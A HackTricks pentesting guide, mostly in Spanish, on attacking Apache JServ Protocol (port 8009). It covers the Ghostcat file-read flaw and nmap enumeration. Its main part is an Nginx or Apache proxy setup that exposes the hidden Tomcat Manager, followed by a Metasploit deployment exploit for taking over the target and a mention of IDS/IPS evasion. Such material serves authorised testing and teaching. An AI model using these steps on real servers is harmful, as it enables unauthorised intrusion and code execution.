10 KiB
8009 - Pentesting Apache JServ Protocol (AJP)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Basic Information
From: https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/
AJP es un protocolo de red. Es una versión optimizada del protocolo HTTP para permitir que un servidor web independiente como Apache se comunique con Tomcat. Históricamente, Apache ha sido mucho más rápido que Tomcat al servir contenido estático. La idea es permitir que Apache sirva el contenido estático cuando sea posible, pero que haga un proxy de la solicitud a Tomcat para el contenido relacionado con Tomcat.
También interesante:
El protocolo ajp13 es orientado a paquetes. Se eligió un formato binario presumiblemente sobre el texto plano más legible por razones de rendimiento. El servidor web se comunica con el contenedor de servlets a través de conexiones TCP. Para reducir el costoso proceso de creación de sockets, el servidor web intentará mantener conexiones TCP persistentes con el contenedor de servlets y reutilizar una conexión para múltiples ciclos de solicitud/respuesta.
Puerto por defecto: 8009
PORT STATE SERVICE
8009/tcp open ajp13
CVE-2020-1938 'Ghostcat'
Si el puerto AJP está expuesto, Tomcat podría ser susceptible a la vulnerabilidad Ghostcat. Aquí hay un exploit que funciona con este problema.
Ghostcat es una vulnerabilidad LFI, pero algo restringida: solo se pueden extraer archivos de una cierta ruta. Aún así, esto puede incluir archivos como WEB-INF/web.xml
que pueden leak información importante como credenciales para la interfaz de Tomcat, dependiendo de la configuración del servidor.
Las versiones parcheadas en o superiores a 9.0.31, 8.5.51 y 7.0.100 han solucionado este problema.
Enumeration
Automatic
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
Fuerza bruta
Proxy AJP
Proxy inverso Nginx y AJP
Consulta la versión Dockerizada
Cuando nos encontramos con un puerto proxy AJP abierto (8009 TCP), podemos usar Nginx con el ajp_module
para acceder al "oculto" Tomcat Manager. Esto se puede hacer compilando el código fuente de Nginx y añadiendo el módulo requerido, de la siguiente manera:
- Descarga el código fuente de Nginx
- Descarga el módulo requerido
- Compila el código fuente de Nginx con el
ajp_module
. - Crea un archivo de configuración que apunte al puerto AJP
# Download Nginx code
wget https://nginx.org/download/nginx-1.21.3.tar.gz
tar -xzvf nginx-1.21.3.tar.gz
# Compile Nginx source code with the ajp module
git clone https://github.com/dvershinin/nginx_ajp_module.git
cd nginx-1.21.3
sudo apt install libpcre3-dev
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
make
sudo make install
nginx -V
Comente todo el bloque server
y agregue las siguientes líneas dentro del bloque http
en /etc/nginx/conf/nginx.conf
.
upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}
Inicie Nginx y verifique si todo está funcionando correctamente emitiendo una solicitud cURL a su host local.
sudo nginx
curl http://127.0.0.1:80
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</headas
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>
Versión Dockerizada de Nginx
git clone https://github.com/ScribblerCoder/nginx-ajp-docker
cd nginx-ajp-docker
Reemplace TARGET-IP
en nginx.conf
con la IP de AJP y luego construya y ejecute.
docker build . -t nginx-ajp-proxy
docker run -it --rm -p 80:80 nginx-ajp-proxy
Apache AJP Proxy
Encontrar un puerto 8009 abierto sin otros puertos web accesibles es raro. Sin embargo, aún es posible explotarlo utilizando Metasploit. Al aprovechar Apache como un proxy, las solicitudes pueden ser redirigidas a Tomcat en el puerto 8009.
sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
Include ajp.conf
sudo vim /etc/apache2/ajp.conf # create the following file, change HOST to the target address
ProxyRequests Off
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
ProxyPass / ajp://HOST:8009/
ProxyPassReverse / ajp://HOST:8009/
sudo a2enmod proxy_http
sudo a2enmod proxy_ajp
sudo systemctl restart apache2
Esta configuración ofrece el potencial de eludir los sistemas de detección y prevención de intrusiones (IDS/IPS) debido a la naturaleza binaria del protocolo AJP, aunque esta capacidad no ha sido verificada. Al dirigir un exploit de Tomcat de Metasploit regular a 127.0.0.1:80
, puedes apoderarte efectivamente del sistema objetivo.
msf exploit(tomcat_mgr_deploy) > show options
Referencias
- https://github.com/yaoweibin/nginx_ajp_module
- https://academy.hackthebox.com/module/145/section/1295
¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!
Perspectivas de Hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking
Noticias de Hackeo en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
Últimos Anuncios
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.